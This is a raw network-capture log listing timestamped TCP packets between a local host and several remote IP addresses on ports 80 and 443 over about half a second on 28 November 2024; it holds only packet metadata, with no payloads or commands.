Nov 28, 2024 15:17:40.348774910 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.348903894 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.348984003 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:40.349864960 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.349931002 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:40.349981070 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.350028038 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:40.350933075 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.350985050 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:40.351054907 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.351411104 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:40.352034092 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.352212906 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.352267981 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:40.353076935 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.353127956 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:40.406793118 CET	443	49821	142.250.181.65	192.168.2.6
Nov 28, 2024 15:17:40.406924009 CET	443	49821	142.250.181.65	192.168.2.6
Nov 28, 2024 15:17:40.406970978 CET	49821	443	192.168.2.6	142.250.181.65
Nov 28, 2024 15:17:40.406987906 CET	443	49821	142.250.181.65	192.168.2.6
Nov 28, 2024 15:17:40.407229900 CET	49821	443	192.168.2.6	142.250.181.65
Nov 28, 2024 15:17:40.411020041 CET	443	49821	142.250.181.65	192.168.2.6
Nov 28, 2024 15:17:40.419059992 CET	49836	443	192.168.2.6	18.165.220.110
Nov 28, 2024 15:17:40.419404030 CET	443	49821	142.250.181.65	192.168.2.6
Nov 28, 2024 15:17:40.419511080 CET	49821	443	192.168.2.6	142.250.181.65
Nov 28, 2024 15:17:40.419528008 CET	443	49821	142.250.181.65	192.168.2.6
Nov 28, 2024 15:17:40.451359034 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:40.455141068 CET	49850	443	192.168.2.6	162.159.61.3
Nov 28, 2024 15:17:40.455177069 CET	443	49850	162.159.61.3	192.168.2.6
Nov 28, 2024 15:17:40.455414057 CET	49850	443	192.168.2.6	162.159.61.3
Nov 28, 2024 15:17:40.455676079 CET	49851	443	192.168.2.6	162.159.61.3
Nov 28, 2024 15:17:40.455724955 CET	443	49851	162.159.61.3	192.168.2.6
Nov 28, 2024 15:17:40.455784082 CET	49851	443	192.168.2.6	162.159.61.3
Nov 28, 2024 15:17:40.455904961 CET	49850	443	192.168.2.6	162.159.61.3
Nov 28, 2024 15:17:40.455914974 CET	443	49850	162.159.61.3	192.168.2.6
Nov 28, 2024 15:17:40.456053972 CET	49851	443	192.168.2.6	162.159.61.3
Nov 28, 2024 15:17:40.456065893 CET	443	49851	162.159.61.3	192.168.2.6
Nov 28, 2024 15:17:40.457927942 CET	49779	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:40.457958937 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:40.474776983 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:40.479093075 CET	443	49821	142.250.181.65	192.168.2.6
Nov 28, 2024 15:17:40.479202986 CET	49821	443	192.168.2.6	142.250.181.65
Nov 28, 2024 15:17:40.479231119 CET	443	49821	142.250.181.65	192.168.2.6
Nov 28, 2024 15:17:40.480694056 CET	49779	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:40.488401890 CET	443	49821	142.250.181.65	192.168.2.6
Nov 28, 2024 15:17:40.488480091 CET	49821	443	192.168.2.6	142.250.181.65
Nov 28, 2024 15:17:40.488498926 CET	443	49821	142.250.181.65	192.168.2.6
Nov 28, 2024 15:17:40.498773098 CET	443	49821	142.250.181.65	192.168.2.6
Nov 28, 2024 15:17:40.498821974 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.498835087 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.498904943 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:40.498948097 CET	49821	443	192.168.2.6	142.250.181.65
Nov 28, 2024 15:17:40.498965025 CET	443	49821	142.250.181.65	192.168.2.6
Nov 28, 2024 15:17:40.498971939 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.498984098 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.499017954 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:40.499032021 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:40.500359058 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.500371933 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.500420094 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:40.500432968 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:40.501230001 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.501290083 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:40.501430988 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.501555920 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:40.502481937 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.502497911 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.502535105 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:40.502568960 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:40.503204107 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.503210068 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.503271103 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:40.504535913 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.504596949 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:40.504676104 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.504760027 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:40.505675077 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.505832911 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:40.505839109 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.506052971 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:40.506691933 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.506751060 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:40.506858110 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.506902933 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:40.507781029 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.507852077 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:40.508099079 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.508160114 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:40.508996010 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.509008884 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.509051085 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:40.509082079 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:40.509460926 CET	443	49821	142.250.181.65	192.168.2.6
Nov 28, 2024 15:17:40.509557009 CET	49821	443	192.168.2.6	142.250.181.65
Nov 28, 2024 15:17:40.509571075 CET	443	49821	142.250.181.65	192.168.2.6
Nov 28, 2024 15:17:40.510036945 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.510049105 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.510126114 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:40.511097908 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.511111021 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.511178970 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:40.512195110 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.512284040 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:40.512305021 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.512449026 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:40.512566090 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.512579918 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.512624025 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:40.512682915 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:40.514406919 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.514420033 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.514477015 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:40.514508963 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:40.515561104 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.515575886 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.515636921 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:40.516578913 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.516592026 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.516649008 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:40.517611027 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.517779112 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.517838955 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:40.518764973 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.518776894 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.518836975 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:40.520306110 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.520394087 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:40.520433903 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.520636082 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:40.521135092 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.521200895 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:40.521434069 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.521590948 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:40.522005081 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.522008896 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.522077084 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:40.523020983 CET	443	49821	142.250.181.65	192.168.2.6
Nov 28, 2024 15:17:40.523057938 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.523152113 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:40.523181915 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.523209095 CET	49821	443	192.168.2.6	142.250.181.65
Nov 28, 2024 15:17:40.523226023 CET	443	49821	142.250.181.65	192.168.2.6
Nov 28, 2024 15:17:40.523237944 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.523243904 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.523252010 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:40.523291111 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:40.523336887 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:40.523783922 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.523822069 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.523848057 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:40.523861885 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:40.524996996 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.525039911 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.525048971 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:40.525278091 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:40.526024103 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.526037931 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.526103973 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:40.526988983 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.527065039 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:40.527131081 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.527237892 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:40.528069019 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.528117895 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:40.528173923 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.528815985 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:40.529133081 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.529197931 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:40.529246092 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.529347897 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:40.530244112 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.530344009 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:40.530364037 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.530962944 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:40.531373978 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.531387091 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.531440020 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:40.532402992 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.532478094 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:40.532511950 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.532721043 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:40.533512115 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.533571005 CET	443	49821	142.250.181.65	192.168.2.6
Nov 28, 2024 15:17:40.533587933 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:40.533634901 CET	49821	443	192.168.2.6	142.250.181.65
Nov 28, 2024 15:17:40.533654928 CET	443	49821	142.250.181.65	192.168.2.6
Nov 28, 2024 15:17:40.533654928 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.533807993 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:40.534558058 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.534625053 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:40.534693956 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.534926891 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:40.535649061 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.535717964 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:40.535792112 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.535936117 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:40.536780119 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.536842108 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:40.536917925 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.537497044 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:40.537830114 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.537893057 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:40.537926912 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.538065910 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:40.538893938 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.538957119 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:40.539067984 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.539623022 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:40.540029049 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.540090084 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:40.540122032 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.540503979 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:40.541095018 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.541165113 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:40.541179895 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.541485071 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:40.542157888 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.542218924 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.542227030 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:40.542289019 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:40.543240070 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.543363094 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.543432951 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:40.544331074 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.544399023 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:40.544406891 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.544943094 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:40.545475006 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.545572042 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.545597076 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:40.545623064 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:40.546503067 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.546515942 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.546569109 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:40.546591997 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:40.547189951 CET	443	49821	142.250.181.65	192.168.2.6
Nov 28, 2024 15:17:40.547291040 CET	49821	443	192.168.2.6	142.250.181.65
Nov 28, 2024 15:17:40.547311068 CET	443	49821	142.250.181.65	192.168.2.6
Nov 28, 2024 15:17:40.547590971 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.547779083 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.547832966 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:40.548656940 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.548754930 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.548831940 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:40.549748898 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.549824953 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:40.549860954 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.549904108 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:40.550846100 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.550895929 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:40.550952911 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.551161051 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:40.551985025 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.551995993 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.552042007 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:40.553428888 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.553498983 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:40.553512096 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.553586006 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:40.554338932 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.557626963 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:40.560745955 CET	443	49821	142.250.181.65	192.168.2.6
Nov 28, 2024 15:17:40.560841084 CET	49821	443	192.168.2.6	142.250.181.65
Nov 28, 2024 15:17:40.560863018 CET	443	49821	142.250.181.65	192.168.2.6
Nov 28, 2024 15:17:40.574502945 CET	443	49821	142.250.181.65	192.168.2.6
Nov 28, 2024 15:17:40.574774027 CET	49821	443	192.168.2.6	142.250.181.65
Nov 28, 2024 15:17:40.574784994 CET	443	49821	142.250.181.65	192.168.2.6
Nov 28, 2024 15:17:40.587431908 CET	443	49821	142.250.181.65	192.168.2.6
Nov 28, 2024 15:17:40.587537050 CET	49821	443	192.168.2.6	142.250.181.65
Nov 28, 2024 15:17:40.587548018 CET	443	49821	142.250.181.65	192.168.2.6
Nov 28, 2024 15:17:40.598810911 CET	443	49821	142.250.181.65	192.168.2.6
Nov 28, 2024 15:17:40.601650953 CET	49821	443	192.168.2.6	142.250.181.65
Nov 28, 2024 15:17:40.601676941 CET	443	49821	142.250.181.65	192.168.2.6
Nov 28, 2024 15:17:40.610615969 CET	443	49821	142.250.181.65	192.168.2.6
Nov 28, 2024 15:17:40.610719919 CET	49821	443	192.168.2.6	142.250.181.65
Nov 28, 2024 15:17:40.610743046 CET	443	49821	142.250.181.65	192.168.2.6
Nov 28, 2024 15:17:40.612530947 CET	443	49845	162.159.61.3	192.168.2.6
Nov 28, 2024 15:17:40.612839937 CET	49845	443	192.168.2.6	162.159.61.3
Nov 28, 2024 15:17:40.612895966 CET	443	49845	162.159.61.3	192.168.2.6
Nov 28, 2024 15:17:40.613269091 CET	443	49845	162.159.61.3	192.168.2.6
Nov 28, 2024 15:17:40.613874912 CET	49845	443	192.168.2.6	162.159.61.3
Nov 28, 2024 15:17:40.613964081 CET	443	49845	162.159.61.3	192.168.2.6
Nov 28, 2024 15:17:40.614063025 CET	49845	443	192.168.2.6	162.159.61.3
Nov 28, 2024 15:17:40.622344971 CET	443	49821	142.250.181.65	192.168.2.6
Nov 28, 2024 15:17:40.622477055 CET	49821	443	192.168.2.6	142.250.181.65
Nov 28, 2024 15:17:40.622493029 CET	443	49821	142.250.181.65	192.168.2.6
Nov 28, 2024 15:17:40.634238005 CET	443	49821	142.250.181.65	192.168.2.6
Nov 28, 2024 15:17:40.634603977 CET	49821	443	192.168.2.6	142.250.181.65
Nov 28, 2024 15:17:40.634624004 CET	443	49821	142.250.181.65	192.168.2.6
Nov 28, 2024 15:17:40.657737017 CET	443	49844	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:40.657795906 CET	49844	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:40.658710957 CET	49844	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:40.658716917 CET	443	49844	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:40.659044027 CET	49844	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:40.659048080 CET	443	49844	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:40.659179926 CET	443	49821	142.250.181.65	192.168.2.6
Nov 28, 2024 15:17:40.659331083 CET	49821	443	192.168.2.6	142.250.181.65
Nov 28, 2024 15:17:40.659332037 CET	443	49845	162.159.61.3	192.168.2.6
Nov 28, 2024 15:17:40.659346104 CET	443	49821	142.250.181.65	192.168.2.6
Nov 28, 2024 15:17:40.661359072 CET	443	49821	142.250.181.65	192.168.2.6
Nov 28, 2024 15:17:40.661559105 CET	49821	443	192.168.2.6	142.250.181.65
Nov 28, 2024 15:17:40.661573887 CET	443	49821	142.250.181.65	192.168.2.6
Nov 28, 2024 15:17:40.669811964 CET	443	49821	142.250.181.65	192.168.2.6
Nov 28, 2024 15:17:40.670447111 CET	49821	443	192.168.2.6	142.250.181.65
Nov 28, 2024 15:17:40.670461893 CET	443	49821	142.250.181.65	192.168.2.6
Nov 28, 2024 15:17:40.677628040 CET	443	49821	142.250.181.65	192.168.2.6
Nov 28, 2024 15:17:40.678030968 CET	49821	443	192.168.2.6	142.250.181.65
Nov 28, 2024 15:17:40.678047895 CET	443	49821	142.250.181.65	192.168.2.6
Nov 28, 2024 15:17:40.685749054 CET	443	49821	142.250.181.65	192.168.2.6
Nov 28, 2024 15:17:40.686095953 CET	49821	443	192.168.2.6	142.250.181.65
Nov 28, 2024 15:17:40.686104059 CET	443	49821	142.250.181.65	192.168.2.6
Nov 28, 2024 15:17:40.692931890 CET	443	49821	142.250.181.65	192.168.2.6
Nov 28, 2024 15:17:40.693027020 CET	49821	443	192.168.2.6	142.250.181.65
Nov 28, 2024 15:17:40.693051100 CET	443	49821	142.250.181.65	192.168.2.6
Nov 28, 2024 15:17:40.698672056 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.698712111 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.698754072 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:40.698781967 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:40.699033976 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.699115992 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:40.699187994 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.699232101 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:40.700105906 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.700154066 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:40.700195074 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.700473070 CET	443	49821	142.250.181.65	192.168.2.6
Nov 28, 2024 15:17:40.700539112 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:40.700659037 CET	49821	443	192.168.2.6	142.250.181.65
Nov 28, 2024 15:17:40.700675964 CET	443	49821	142.250.181.65	192.168.2.6
Nov 28, 2024 15:17:40.701147079 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.701312065 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.701373100 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:40.702219963 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.702286959 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:40.702297926 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.702532053 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:40.703345060 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.703362942 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:40.703416109 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:40.703440905 CET	49804	80	192.168.2.6	185.215.113.206
